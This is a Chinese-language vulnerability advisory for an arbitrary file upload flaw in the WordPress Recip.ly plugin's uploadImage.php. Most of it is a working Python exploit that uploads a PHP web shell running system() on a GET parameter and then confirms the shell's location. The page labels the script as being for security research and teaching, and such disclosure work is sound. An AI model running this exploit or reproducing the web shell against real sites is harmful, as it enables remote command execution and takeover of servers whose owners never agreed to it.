WordPress Recip.ly "uploadImage.php"任意文件上传漏洞

受影响系统:

WordPress Recip.ly 1.x

描述:

WordPress是一款免费的论坛Blog系统。

WordPress Recip.ly在实现上存在安全漏洞,远程攻击者可利用此漏洞上传任意文件并在网络服务器进程中运行,导致未授权访问或权限提升。

wp-content/plugins/reciply/uploadImage.php没有正确地验证上传的文件类型,导致通过上传的PHP文件执行任意PHP代码。

<*来源:AutoSec Tools
  *>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
import socket

host = &#039;localhost&#039;
path = &#039;/wordpress&#039;
shell_path = path + &#039;/wp-content/plugins/reciply/images/shell.php&#039;
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send(&#039;POST &#039; + path + &#039;/wp-content/plugins/reciply/uploadImage.php HTTP/1.1\r\n&#039;
           &#039;Host: localhost\r\n&#039;
           &#039;Proxy-Connection: keep-alive\r\n&#039;
           &#039;User-Agent: x\r\n&#039;
           &#039;Content-Length: 195\r\n&#039;
           &#039;Cache-Control: max-age=0\r\n&#039;
           &#039;Origin: null\r\n&#039;
           &#039;Content-Type: multipart/form-data; boundary=—-x\r\n&#039;
           &#039;Accept: text/html\r\n&#039;
           &#039;Accept-Encoding: gzip,deflate,sdch\r\n&#039;
           &#039;Accept-Language: en-US,en;q=0.8\r\n&#039;
           &#039;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n&#039;
           &#039;\r\n&#039;
           &#039;——x\r\n&#039;
           &#039;Content-Disposition: form-data; name=&quot;shell_file&quot;; filename=&quot;shell.php&quot;\r\n&#039;
           &#039;Content-Type: application/octet-stream\r\n&#039;
           &#039;\r\n&#039;
           &#039;&lt;?php echo \&#039;&lt;pre&gt;\&#039; + system($_GET[\&#039;CMD\&#039;]) + \&#039;&lt;/pre&gt;\&#039;; ?&gt;\r\n&#039;
           &#039;——x–\r\n&#039;
           &#039;\r\n&#039;)

    resp = s.recv(8192)

    http_ok = &#039;HTTP/1.1 200 OK&#039;
    
    if http_ok not in resp[:len(http_ok)]:
        print &#039;error uploading shell&#039;
        return
    else: print &#039;shell uploaded&#039;

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)  
    s.send(&#039;GET &#039; + shell_path + &#039; HTTP/1.1\r\n&#039;\
           &#039;Host: &#039; + host + &#039;\r\n\r\n&#039;)

    if http_ok not in s.recv(8192)[:len(http_ok)]: print &#039;shell not found&#039;        
    else: print &#039;shell located at http://&#039; + host + shell_path

upload_shell()

建议:

 

厂商补丁:

WordPress
———
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/

发表评论?

0 条评论。

发表评论